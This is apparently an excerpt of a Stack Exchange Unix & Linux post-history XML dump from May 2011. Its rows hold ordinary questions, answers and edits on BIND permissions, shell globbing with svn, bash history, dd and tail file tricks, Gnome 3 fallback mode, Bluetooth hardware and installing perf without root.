  <row Id="34772" PostHistoryTypeId="2" PostId="13923" RevisionGUID="260901ee-7442-48da-8768-912fcef18141" CreationDate="2011-05-27T18:26:48.040" UserId="7845" Text="You could also just type u to undo the changes that resulted in the errant copy-paste.  " />
  <row Id="34773" PostHistoryTypeId="2" PostId="13924" RevisionGUID="535fee3d-b598-4334-9d3a-ea58f25febd4" CreationDate="2011-05-27T18:28:08.603" UserId="2833" Text="Hi, &#xD;&#xA;&#xD;&#xA;Whenever i try to run `named` service, i get the following: &#xD;&#xA;Even though my permissions and folder ownership is all fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@f13 ~]# service named start&#xD;&#xA;    Starting named: &#xD;&#xA;    Error in named configuration:&#xD;&#xA;    zone localhost/IN: loading from master file /var/lib/named/localhost.zone failed: permission denied&#xD;&#xA;    zone localhost/IN: not loaded due to errors.&#xD;&#xA;    _default/localhost/IN: permission denied&#xD;&#xA;    zone 235.168.192.in-addr.arpa/IN: loading from master file /var/lib/named/mydb-for-192-168-235 failed: permission denied&#xD;&#xA;    zone 235.168.192.in-addr.arpa/IN: not loaded due to errors.&#xD;&#xA;    _default/235.168.192.in-addr.arpa/IN: permission denied&#xD;&#xA;    zone example.org/IN: loading from master file /var/lib/named/mydb-for-example-dot-org failed: permission denied&#xD;&#xA;    zone example.org/IN: not loaded due to errors.&#xD;&#xA;    _default/example.org/IN: permission denied&#xD;&#xA;                                                               [FAILED]&#xD;&#xA;    [root@f13 ~]# ls -lh /var/lib/named/&#xD;&#xA;    total 12K&#xD;&#xA;    -rwxrwxrwx. 1 named named 191 May 27 09:13 localhost.zone&#xD;&#xA;    -rwxrwxrwx. 1 named named 277 May 27 09:15 mydb-for-192-168-235&#xD;&#xA;    -rwxrwxrwx. 1 named named 269 May 27 09:14 mydb-for-example-dot-org&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34774" PostHistoryTypeId="1" PostId="13924" RevisionGUID="535fee3d-b598-4334-9d3a-ea58f25febd4" CreationDate="2011-05-27T18:28:08.603" UserId="2833" Text="unable to start named service" />
  <row Id="34775" PostHistoryTypeId="3" PostId="13924" RevisionGUID="535fee3d-b598-4334-9d3a-ea58f25febd4" CreationDate="2011-05-27T18:28:08.603" UserId="2833" Text="édnsàébindà" />
  <row Id="34776" PostHistoryTypeId="5" PostId="13918" RevisionGUID="25bab3c2-b2e3-4d72-a4ea-c12f53fc431d" CreationDate="2011-05-27T19:12:35.730" UserId="1594" Comment="for some reason, even in code mode the two lines did not have a linebreak between them" Text="A few possibilities:&#xD;&#xA;&#xD;&#xA;1. Bind the `history-search-backward/forward` commands. I believe this is closest to what you want:&#xD;&#xA;&#xD;&#xA;    bind '&quot;\e[A&quot;:history-search-backward'&#xD;&#xA;&#xD;&#xA;    bind '&quot;\e[B&quot;:history-search-forward'&#xD;&#xA;&#xD;&#xA;2. Use the history i-search. This is probably bound to `^R`. On an empty line, `^Rls&lt;space&gt;` will get you back to `ls foo`, then `^R` again will take you to the last `ls` command (or other command with `ls` somewhere in the line) before `ls foo`, etc...&#xD;&#xA;&#xD;&#xA;3. Bind the `magic-space` command: `bind SPACE:magic-space`. Then type (on an empty line) `!ls&lt;space&gt;`, and readline will perform history substitution automatically, leaving you with `ls foo`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34777" PostHistoryTypeId="24" PostId="13918" RevisionGUID="25bab3c2-b2e3-4d72-a4ea-c12f53fc431d" CreationDate="2011-05-27T19:12:35.730" Comment="Proposed by 1594 approved by -1 edit id of 396" />
  <row Id="34778" PostHistoryTypeId="5" PostId="13918" RevisionGUID="8bd86b24-5a67-492e-97e3-842466b441ad" CreationDate="2011-05-27T19:12:36.977" UserId="885" Comment="the code is at depth 2 (the list text is at depth 1) so needs 2*4=8 spaces indentation" Text="A few possibilities:&#xD;&#xA;&#xD;&#xA;1. Bind the `history-search-backward/forward` commands. I believe this is closest to what you want:&#xD;&#xA;&#xD;&#xA;        bind '&quot;\e[A&quot;:history-search-backward'&#xD;&#xA;        bind '&quot;\e[B&quot;:history-search-forward'&#xD;&#xA;&#xD;&#xA;2. Use the history i-search. This is probably bound to `^R`. On an empty line, `^Rls&lt;space&gt;` will get you back to `ls foo`, then `^R` again will take you to the last `ls` command (or other command with `ls` somewhere in the line) before `ls foo`, etc...&#xD;&#xA;&#xD;&#xA;3. Bind the `magic-space` command: `bind SPACE:magic-space`. Then type (on an empty line) `!ls&lt;space&gt;`, and readline will perform history substitution automatically, leaving you with `ls foo`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34779" PostHistoryTypeId="2" PostId="13925" RevisionGUID="d2c7eab9-beff-4558-b591-6f549a127f80" CreationDate="2011-05-27T19:48:07.050" UserId="591" Text="If you know it's in `/usr/include/glib-1.2` then you should be able to add `-I/usr/include/glib-1.2` to the 'INCLUDE' definition in your Makefile.  I don't have the package or it's source so I can't be any less vague than that." />
  <row Id="34780" PostHistoryTypeId="2" PostId="13926" RevisionGUID="9b2f1307-7a84-41ba-b361-9b22563695c6" CreationDate="2011-05-27T20:07:26.030" UserId="663" Text="I often want to do some variant of this idiom:&#xD;&#xA;&#xD;&#xA;    $ mkdir 2010&#xD;&#xA;    $ svn mv * 2010&#xD;&#xA;&#xD;&#xA;Of course, I get an error because the glob matches 2010 as well:&#xD;&#xA;&#xD;&#xA;    svn: Cannot copy path '2010' into its own child '2010/2010'&#xD;&#xA;&#xD;&#xA;Is there a way to replace `&quot;svn mv * 2010&quot;` with a different one-liner that does the right thing?" />
  <row Id="34781" PostHistoryTypeId="1" PostId="13926" RevisionGUID="9b2f1307-7a84-41ba-b361-9b22563695c6" CreationDate="2011-05-27T20:07:26.030" UserId="663" Text="&quot;mkdir foo; svn mv * foo&quot;" />
  <row Id="34782" PostHistoryTypeId="3" PostId="13926" RevisionGUID="9b2f1307-7a84-41ba-b361-9b22563695c6" CreationDate="2011-05-27T20:07:26.030" UserId="663" Text="éshellà" />
  <row Id="34783" PostHistoryTypeId="5" PostId="13910" RevisionGUID="31f8443e-1769-4999-9ac3-513c5aeea74b" CreationDate="2011-05-27T20:19:37.857" UserId="2594" Comment="spelling" Text="This should work if your file names have no embedded spaces:&#xD;&#xA;&#xD;&#xA;    for file in /foo/*&#xD;&#xA;    do&#xD;&#xA;      if [ -f $file ]&#xD;&#xA;      then&#xD;&#xA;        dd if=$file of=$file.truncated bs=31 skip=1 &amp;&amp; mv $file.truncated $file&#xD;&#xA;      fi&#xD;&#xA;    done" />
  <row Id="34784" PostHistoryTypeId="2" PostId="13927" RevisionGUID="f9a9ab5b-e7ce-4f1d-8627-87601c99f302" CreationDate="2011-05-27T20:22:30.263" UserId="1131" Text="You can use `dd` and get the device size via `fdisk`:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=/dev/sda bs=1k \&#xD;&#xA;       seek=$(( (`fdisk -l /dev/sda | grep 'Disk /' | cut -d' ' -f 5` -1024*1024)/1024  )) count=1024&#xD;&#xA;&#xD;&#xA;I am not using a blocksize of 1m to avoid rounding errors.&#xD;&#xA;&#xD;&#xA;Alternatively, you could write a small C-program (or script) which invokes the `lseek` function with `SEEK_END` and a negative offset of 1mb and then call `write`." />
  <row Id="34785" PostHistoryTypeId="2" PostId="13928" RevisionGUID="6c6a1d98-5b2c-4b53-9a1f-77b83847b42b" CreationDate="2011-05-27T20:25:02.630" UserId="73" Text="ZSH has a helpful glob operator to match everything except a given name, `^`. So this would work (but it's ZSH specific):&#xD;&#xA;&#xD;&#xA;    $ svn mv ^2010 2010&#xD;&#xA;" />
  <row Id="34788" PostHistoryTypeId="2" PostId="13930" RevisionGUID="2170ebd0-0bdb-412a-8402-57e519cf01e3" CreationDate="2011-05-27T20:59:35.590" UserId="4799" Text="This is required information for some MPI using app that I am working with..." />
  <row Id="34789" PostHistoryTypeId="1" PostId="13930" RevisionGUID="2170ebd0-0bdb-412a-8402-57e519cf01e3" CreationDate="2011-05-27T20:59:35.590" UserId="4799" Text="How to find memory per core on multicore CPU?" />
  <row Id="34790" PostHistoryTypeId="3" PostId="13930" RevisionGUID="2170ebd0-0bdb-412a-8402-57e519cf01e3" CreationDate="2011-05-27T20:59:35.590" UserId="4799" Text="émemoryàésmpà" />
  <row Id="34791" PostHistoryTypeId="25" PostId="13926" RevisionGUID="7ecda203-c143-4ed2-adc0-0afa2a86d369" CreationDate="2011-05-27T21:13:12.740" Comment="http://twitter.com/#!/StackUnix/status/74221639134478336" />
  <row Id="34792" PostHistoryTypeId="2" PostId="13931" RevisionGUID="9aba1758-663b-4991-afa5-ba3e4f09376d" CreationDate="2011-05-27T21:36:35.250" UserId="2276" Text="If i wish to use old-style interface (like Gnome 2 with global-menu and awn) in Gnome 3, will it be much of customizing and pain, or is just possible with a few clicks?" />
  <row Id="34793" PostHistoryTypeId="1" PostId="13931" RevisionGUID="9aba1758-663b-4991-afa5-ba3e4f09376d" CreationDate="2011-05-27T21:36:35.250" UserId="2276" Text="Will I be able to use old fashion interface in Gnome 3?" />
  <row Id="34794" PostHistoryTypeId="3" PostId="13931" RevisionGUID="9aba1758-663b-4991-afa5-ba3e4f09376d" CreationDate="2011-05-27T21:36:35.250" UserId="2276" Text="égnomeàégnome3à" />
  <row Id="34795" PostHistoryTypeId="2" PostId="13932" RevisionGUID="bca182ec-926e-4487-b67c-73042960b33f" CreationDate="2011-05-27T21:43:20.263" UserId="7682" Text="Try this: &lt;br /&gt;&#xD;&#xA;`ls | grep -v 2010 | svn mv 2010`" />
  <row Id="34796" PostHistoryTypeId="2" PostId="13933" RevisionGUID="4c7c10c1-71e7-47f0-8dac-a20f88fd9602" CreationDate="2011-05-27T21:57:26.917" UserId="6761" Text="Assuming you are using Ubuntu, then you are running Gnome 2 - just with the Unity interface. To log into a classic session, you choose to login to &quot;Ubuntu Classic&quot; at the login screen.&#xD;&#xA;&#xD;&#xA;Then, to restore your menus, you right click on “main menu”, “global menu” at the top left of your screen and uncheck “lock to panel”, then select “remove from panel.”&#xD;&#xA;&#xD;&#xA;To add the menu to your panel, right click on the top panel, and choose “add to panel” and then add “menu bar”.&#xD;&#xA;&#xD;&#xA;To make this permanent, you should click the power-off button in the top-right corner of the desktop and select &quot;System Settings&quot; at the bottom of the popup menu, then in the opening window you should select &quot;System-Login Screen&quot;&#xD;&#xA;&#xD;&#xA;After unlocking the window, you should select &quot;Select Ubuntu Classic as default session&quot; then Close the window.&#xD;&#xA;&#xD;&#xA;After a restart this Classic will be your default login." />
  <row Id="34797" PostHistoryTypeId="2" PostId="13934" RevisionGUID="fe2b09f6-9842-4c69-be9f-eecd84e14aa3" CreationDate="2011-05-27T21:59:56.153" UserId="885" Text="Under ksh, bash or zsh:&#xD;&#xA;&#xD;&#xA;    svn mv !(2010) 2010&#xD;&#xA;&#xD;&#xA;Under bash, you need to run `shopt -s extglob` first (put it in your `~/.bashrc`). Under zsh, you need to run `setopt -o ksh_glob` first (put it in your `~/.zshrc`). Zsh also has a different syntax: `svn mv *~2010 2010`, requiring you to do `setopt -o extended_glob` (again, put this in `~/.zshrc`). Another way that would work in zsh in this case (if you have no subdirectories under svn) is `svn mv *(.) 2010`, to match only regular files.&#xD;&#xA;" />
  <row Id="34798" PostHistoryTypeId="6" PostId="13926" RevisionGUID="b8c104d4-1176-4a59-9304-93b718aac0b6" CreationDate="2011-05-27T22:00:10.943" UserId="885" Comment="edited tags" Text="éshellàéwildcardsà" />
  <row Id="34799" PostHistoryTypeId="12" PostId="13932" RevisionGUID="f94a9b6b-90f0-4b00-a2f3-5864d08eb9f6" CreationDate="2011-05-27T22:02:16.137" UserId="7682" Text="[{&quot;Id&quot;:7682,&quot;DisplayName&quot;:&quot;Chris Ting&quot;}]" />
  <row Id="34800" PostHistoryTypeId="13" PostId="13932" RevisionGUID="729371de-9f59-4f5b-921f-a545d85ba2d8" CreationDate="2011-05-27T22:02:20.257" UserId="7682" Text="[{&quot;Id&quot;:7682,&quot;DisplayName&quot;:&quot;Chris Ting&quot;}]" />
  <row Id="34801" PostHistoryTypeId="5" PostId="13932" RevisionGUID="06cff9cf-3aa0-40c7-aa1a-b01bdf1f8332" CreationDate="2011-05-27T22:05:22.467" UserId="7682" Comment="added 1 characters in body" Text="Try this: &lt;br /&gt;&#xD;&#xA;`svn mv $(ls | grep -v 2010) 2010`" />
  <row Id="34802" PostHistoryTypeId="12" PostId="13933" RevisionGUID="fd944682-02a7-4053-b2ba-875635fa3127" CreationDate="2011-05-27T22:12:28.077" UserId="6761" Text="[{&quot;Id&quot;:6761,&quot;DisplayName&quot;:&quot;jasonwryan&quot;}]" />
  <row Id="34803" PostHistoryTypeId="2" PostId="13935" RevisionGUID="eeeb7355-011e-4374-96df-341f377d5af6" CreationDate="2011-05-27T22:14:21.617" UserId="885" Text="`tail -c +32` outputs its input minus the first 31 bytes. (Yes, the argument is off by one.) To edit a file in place, [use sponge](http://unix.stackexchange.com/questions/5821/can-i-make-cut-change-a-file-in-place/5846#5846) in a loop, or if you don't have it and don't want to bother, do its job in the shell:&#xD;&#xA;&#xD;&#xA;    for x in /foo/*; do tail -c +32 &quot;$x&quot; | sponge &quot;$x&quot;; done&#xD;&#xA;    for x in /foo/*; do tail -c +32 &quot;$x&quot; &gt;&quot;$x.new&quot; &amp;&amp; mv &quot;$x.new&quot; &quot;$x&quot;; done&#xD;&#xA;&#xD;&#xA;If the commands are interrupted for whatever reason (e.g. a power failure), it might be hard to figure out where you left off. Writing the new files to a separate directory would make things easier.&#xD;&#xA;&#xD;&#xA;    mkdir /foo.tmp&#xD;&#xA;    cd /foo&#xD;&#xA;    for x in *; do tail -c +42 -- &quot;$x&quot; &gt;&quot;/foo.tmp/$x&quot; &amp;&amp; rm -- &quot;$x&quot;; done&#xD;&#xA;    mv /foo.tmp/* /foo&#xD;&#xA;    rmdir /foo.tmp&#xD;&#xA;&#xD;&#xA;If the files are really large (as in, large enough that having two copies of even a single one is a problem), you can use [one of the techniques mentioned in this thread](http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place).&#xD;&#xA;" />
  <row Id="34804" PostHistoryTypeId="5" PostId="13910" RevisionGUID="5a49de26-4817-4d91-aff8-e94881493745" CreationDate="2011-05-27T22:15:06.343" UserId="885" Comment="added missing double quotes around variable substitutions" Text="    for file in /foo/*&#xD;&#xA;    do&#xD;&#xA;      if [ -f &quot;$file&quot; ]&#xD;&#xA;      then&#xD;&#xA;        dd if=&quot;$file&quot; of=&quot;$file.truncated&quot; bs=31 skip=1 &amp;&amp; mv &quot;$file.truncated&quot; &quot;$file&quot;&#xD;&#xA;      fi&#xD;&#xA;    done" />
  <row Id="34805" PostHistoryTypeId="6" PostId="13907" RevisionGUID="103c2788-f38c-4694-a327-b083d62ea095" CreationDate="2011-05-27T22:15:25.860" UserId="885" Comment="edited tags" Text="étextöprocessingàéfilesàésedàéawkà" />
  <row Id="34806" PostHistoryTypeId="6" PostId="13919" RevisionGUID="792ab072-84b9-4c75-b5e2-1f756f1e9b87" CreationDate="2011-05-27T22:17:05.643" UserId="885" Comment="edited tags" Text="écentosàécompilingàélibrariesà" />
  <row Id="34807" PostHistoryTypeId="5" PostId="13933" RevisionGUID="5f42c6c4-ac3f-4058-aae8-872f226a7fb1" CreationDate="2011-05-27T22:19:35.317" UserId="6761" Comment="Generalised answer" Text="From the Arch Wiki on Gnome (where Gnome 3 is now in the main repos):&#xD;&#xA;&lt;blockquote&gt;&lt;p&gt;GNOME3 comes with two interfaces, gnome-shell (the new, standard layout) and fallback mode. gnome-session will automatically detect if your computer is capable of running gnome-shell and will start fallback mode if not.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;Fallback mode is very similar to the GNOME 2.x layout (while using gnome-panel and metacity, instead of gnome-shell and Mutter).&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;If you are on fallback mode you can still change the window manager with your preferred one.&lt;/p&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/GNOME &#xD;&#xA;" />
  <row Id="34808" PostHistoryTypeId="13" PostId="13933" RevisionGUID="3b5c967a-d45d-4f62-aa40-868156599f2e" CreationDate="2011-05-27T22:19:41.353" UserId="6761" Text="[{&quot;Id&quot;:6761,&quot;DisplayName&quot;:&quot;jasonwryan&quot;}]" />
  <row Id="34809" PostHistoryTypeId="5" PostId="13932" RevisionGUID="f851be3e-5915-44ed-9fd6-ce9c3fa0131c" CreationDate="2011-05-27T22:19:41.963" UserId="885" Comment="added missing -x to grep; added warning about file names" Text="If your files have “tame” names (no whitespace, unprintable characters or `\[?*`):&#xD;&#xA;&#xD;&#xA;    svn mv $(ls | grep -vx 2010) 2010" />
  <row Id="34810" PostHistoryTypeId="5" PostId="13933" RevisionGUID="7aee8ade-0870-483b-ba28-a75d7a099b27" CreationDate="2011-05-27T22:27:10.763" UserId="6761" Comment="added 171 characters in body; added 153 characters in body" Text="From the Arch Wiki on Gnome (where Gnome 3 is now in the main repos):&#xD;&#xA;&lt;blockquote&gt;&lt;p&gt;GNOME3 comes with two interfaces, gnome-shell (the new, standard layout) and fallback mode. gnome-session will automatically detect if your computer is capable of running gnome-shell and will start fallback mode if not.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;Fallback mode is very similar to the GNOME 2.x layout (while using gnome-panel and metacity, instead of gnome-shell and Mutter).&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;If you are on fallback mode you can still change the window manager with your preferred one.&lt;/p&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;You can enable fallback mode while having gnome-shell installed by opening gnome-control-center. Go to System Info &gt; Graphics and change &quot;Forced Fallback Mode&quot; to ON.&#xD;&#xA;&#xD;&#xA;Or, open a terminal and enter:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;$ GSETTINGS_BACKEND=dconf gsettings set org.gnome.desktop.session session-name gnome-fallback&lt;/code&gt;&lt;/pre&gt; &#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/GNOME &#xD;&#xA;" />
  <row Id="34811" PostHistoryTypeId="6" PostId="13921" RevisionGUID="e9cf82b4-19c3-4331-ba5c-94ad265dcc3b" CreationDate="2011-05-27T22:53:24.373" UserId="885" Comment="edited tags" Text="élinuxàéfirefoxàéactivexà" />
  <row Id="34812" PostHistoryTypeId="2" PostId="13936" RevisionGUID="393ea787-b3ad-4e02-869a-4391fb542beb" CreationDate="2011-05-27T23:50:55.327" UserId="5614" Text="I have a laptop that has a Bluetooth card in it, a Gateway NV series one. I'm trying to get it to turn on, as it currently isn't. The first time I booted after I wiped my drive and installed Linux Mint 11 from scratch, I saw the bluetooth light come on for the first time ever. However, it wasn't working, and after a reboot, it's no longer on. &#xD;&#xA;&#xD;&#xA;Running `hcitool dev` only lists my USB dongle, or nothing if the dongle isn't plugged in. I've heard that there are kernel-level things I can do to fix this, where should I look for that? Is there a way for me to at least determine what kind of Bluetooth card I have in here so I can work on getting it working? `lsusb` doesn't give me anything relevant to Bluetooth:&#xD;&#xA;&#xD;&#xA;    Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub&#xD;&#xA;    Bus 002 Device 002: ID 04f2:b044 Chicony Electronics Co., Ltd Acer CrystalEye Webcam&#xD;&#xA;    Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xD;&#xA;    Bus 001 Device 010: ID 18d1:4e12 Google Inc. Nexus One Phone (Debug)&#xD;&#xA;    Bus 001 Device 009: ID 0bc2:3001 Seagate RSS LLC &#xD;&#xA;    Bus 001 Device 005: ID 05e3:0608 Genesys Logic, Inc. USB-2.0 4-Port HUB&#xD;&#xA;    Bus 001 Device 004: ID 046d:c526 Logitech, Inc. Nano Receiver&#xD;&#xA;    Bus 001 Device 003: ID 05e3:0608 Genesys Logic, Inc. USB-2.0 4-Port HUB&#xD;&#xA;    Bus 001 Device 002: ID 1a40:0101 TERMINUS TECHNOLOGY INC. USB-2.0 4-Port HUB&#xD;&#xA;    Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xD;&#xA;&#xD;&#xA;Nor does `lspci`:&#xD;&#xA;&#xD;&#xA;    00:00.0 Host bridge: Intel Corporation Mobile 4 Series Chipset Memory Controller Hub (rev 07)&#xD;&#xA;    00:02.0 VGA compatible controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07)&#xD;&#xA;    00:02.1 Display controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07)&#xD;&#xA;    00:1a.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 03)&#xD;&#xA;    00:1a.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 03)&#xD;&#xA;    00:1a.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 03)&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)&#xD;&#xA;    00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 1 (rev 03)&#xD;&#xA;    00:1c.1 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 2 (rev 03)&#xD;&#xA;    00:1c.2 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 3 (rev 03)&#xD;&#xA;    00:1d.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 03)&#xD;&#xA;    00:1d.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 03)&#xD;&#xA;    00:1d.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 03)&#xD;&#xA;    00:1d.3 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 03)&#xD;&#xA;    00:1d.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 03)&#xD;&#xA;    00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev 93)&#xD;&#xA;    00:1f.0 ISA bridge: Intel Corporation ICH9M LPC Interface Controller (rev 03)&#xD;&#xA;    00:1f.2 SATA controller: Intel Corporation ICH9M/M-E SATA AHCI Controller (rev 03)&#xD;&#xA;    00:1f.3 SMBus: Intel Corporation 82801I (ICH9 Family) SMBus Controller (rev 03)&#xD;&#xA;    02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM5784M Gigabit Ethernet PCIe (rev 10)&#xD;&#xA;    04:00.0 Network controller: Intel Corporation WiFi Link 5100&#xD;&#xA;&#xD;&#xA;One thing's for sure, the card at the very least _turned on_ the first time I booted, and something changed, preventing it from coming on. How can I determine what kind of card I have and how to enable it?&#xD;&#xA;" />
  <row Id="34813" PostHistoryTypeId="1" PostId="13936" RevisionGUID="393ea787-b3ad-4e02-869a-4391fb542beb" CreationDate="2011-05-27T23:50:55.327" UserId="5614" Text="Help in setting up internal Bluetooth card on Linux 2.6.38" />
  <row Id="34814" PostHistoryTypeId="3" PostId="13936" RevisionGUID="393ea787-b3ad-4e02-869a-4391fb542beb" CreationDate="2011-05-27T23:50:55.327" UserId="5614" Text="ékernelàélinuxömintàébluetoothà" />
  <row Id="34815" PostHistoryTypeId="25" PostId="13931" RevisionGUID="67c20502-f60c-49bf-bab8-bfa31fbd395b" CreationDate="2011-05-28T00:13:13.523" Comment="http://twitter.com/#!/StackUnix/status/74266940364951552" />
  <row Id="34816" PostHistoryTypeId="25" PostId="13916" RevisionGUID="bf0a124b-27d1-4594-8e75-cb5c183d9668" CreationDate="2011-05-28T03:13:14.087" Comment="http://twitter.com/#!/StackUnix/status/74312241096294400" />
  <row Id="34818" PostHistoryTypeId="5" PostId="13930" RevisionGUID="52e1e8ed-f007-437b-af04-e44e2d49b426" CreationDate="2011-05-28T06:10:50.570" UserId="4799" Comment="Insert Makefile template from said app that talks about &quot;memory per core&quot;" Text="This is required information for some MPI using app that I am working with...&#xD;&#xA;&#xD;&#xA;From its Makefile *template*:&#xD;&#xA;&#xD;&#xA;    #insert memory per core and uncomment the following line&#xD;&#xA;    #PREPROC= -D'MB_PER_CORE=750'" />
  <row Id="34819" PostHistoryTypeId="25" PostId="13871" RevisionGUID="5534fc9e-e2e1-48ac-97bc-c3f7e60dd90c" CreationDate="2011-05-28T06:13:14.263" Comment="http://twitter.com/#!/StackUnix/status/74357541085261824" />
  <row Id="34820" PostHistoryTypeId="2" PostId="13937" RevisionGUID="ced5897d-9529-4f93-bb57-04c9bc8b4102" CreationDate="2011-05-28T06:19:41.033" UserId="4799" Text="Is it possible to install Gentoo packages (ebuild-enabled programs, programs with support for portage) as an ordinary user (non-root) to one's own home directory (`--prefix=$HOME` or sth. like that)?" />
  <row Id="34821" PostHistoryTypeId="1" PostId="13937" RevisionGUID="ced5897d-9529-4f93-bb57-04c9bc8b4102" CreationDate="2011-05-28T06:19:41.033" UserId="4799" Text="Installing Gentoo packages as an ordinary user (non-root)" />
  <row Id="34822" PostHistoryTypeId="3" PostId="13937" RevisionGUID="ced5897d-9529-4f93-bb57-04c9bc8b4102" CreationDate="2011-05-28T06:19:41.033" UserId="4799" Text="ésoftwareöinstallationàégentooà" />
  <row Id="34823" PostHistoryTypeId="5" PostId="13930" RevisionGUID="c59ebf56-2f6a-41f4-8017-e56f1b4fd97c" CreationDate="2011-05-28T06:29:43.620" UserId="4799" Comment="note that app is used also on NUMA machines" Text="This is required information for some MPI using app that I am working with...&#xD;&#xA;&#xD;&#xA;From its Makefile *template*:&#xD;&#xA;&#xD;&#xA;    #insert memory per core and uncomment the following line&#xD;&#xA;    #PREPROC= -D'MB_PER_CORE=750'&#xD;&#xA;&#xD;&#xA;Note that said scientific app runs also on NUMA machines, like Cray, where each core has its own memory.  I am asking here what to put in above line on ***Linux*** on e.g. 12GB machine with 16 cores." />
  <row Id="34824" PostHistoryTypeId="2" PostId="13938" RevisionGUID="c377df1a-d1a3-45c6-b56c-3a302988ff4b" CreationDate="2011-05-28T06:40:36.283" UserId="3082" Text="Yet another method: `:.,$d`&#xD;&#xA;&#xD;&#xA;That means in ex mode, address current line to end, and delete." />
  <row Id="34825" PostHistoryTypeId="2" PostId="13939" RevisionGUID="b8ad42f4-d7fb-48c5-a9f0-a6bbef98bc25" CreationDate="2011-05-28T06:50:23.453" UserId="4799" Text="From what I have checked it looks like kernel side of 'perf' subsystem is enabled on computer I work on.&#xD;&#xA;&#xD;&#xA;Checking kernel configuration shows the following&#xD;&#xA;&#xD;&#xA;    $ zgrep &quot;_PERF[_= ]&quot; /proc/config.gz &#xD;&#xA;    CONFIG_HAVE_PERF_EVENTS=y&#xD;&#xA;    CONFIG_PERF_EVENTS=y&#xD;&#xA;    # CONFIG_PERF_COUNTERS is not set&#xD;&#xA;    CONFIG_HAVE_PERF_EVENTS_NMI=y&#xD;&#xA;&#xD;&#xA;I also did the check described in [perf_events FAQ][perf_events-FAQ]:&#xD;&#xA;&#xD;&#xA;    $ cat /proc/sys/kernel/perf_event_paranoid&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;But the **`perf` tool** is not installed:&#xD;&#xA;&#xD;&#xA;    $ prof&#xD;&#xA;    -bash: prof: command not found&#xD;&#xA;    $ /sbin/prof&#xD;&#xA;    -bash: /sbin/prof: No such file or directory&#xD;&#xA;    $ /usr/sbin/prof&#xD;&#xA;    -bash: /usr/sbin/prof: No such file or directory&#xD;&#xA;&#xD;&#xA;Is it possible to install perf userland as an ordinary user, to one's own home directory (for '2.6.36-gentoo-r4' kernel)?&#xD;&#xA;&#xD;&#xA;Or do I need to ask administrator of machine in question to install it?  More unfortunately `dev-util/perf` package on Gentoo is masked (blocked) on amd64:&#xD;&#xA;&#xD;&#xA;    $ emerge --search perf&#xD;&#xA;    [...]&#xD;&#xA;    *  dev-util/perf [ Masked ]&#xD;&#xA;          Latest version available: 2.6.35_rc4&#xD;&#xA;          Latest version installed: [ Not Installed ]&#xD;&#xA;          Size of files: 73,503 kB&#xD;&#xA;          Homepage:      http://perf.wiki.kernel.org/&#xD;&#xA;          Description:   Userland tools for Linux Performance Counters&#xD;&#xA;          License:       GPL-2&#xD;&#xA;&#xD;&#xA;*`perf` is one of [prerequisites][HPC Toolkit install] installing [HPC Toolkit][]...*&#xD;&#xA;&#xD;&#xA;[perf_events-FAQ]: http://web.eecs.utk.edu/~vweaver1/projects/perf-events/faq.html&#xD;&#xA;[HPC Toolkit]: http://hpctoolkit.org&#xD;&#xA;[HPC Toolkit install]: http://hpctoolkit.org/software-instructions.html" />
  <row Id="34826" PostHistoryTypeId="1" PostId="13939" RevisionGUID="b8ad42f4-d7fb-48c5-a9f0-a6bbef98bc25" CreationDate="2011-05-28T06:50:23.453" UserId="4799" Text="How to check that perf events are enabled in Linux kernel, and how to install perf userland as non-root?" />
  <row Id="34827" PostHistoryTypeId="3" PostId="13939" RevisionGUID="b8ad42f4-d7fb-48c5-a9f0-a6bbef98bc25" CreationDate="2011-05-28T06:50:23.453" UserId="4799" Text="ékernelàésoftwareöinstallationàégentooà" />
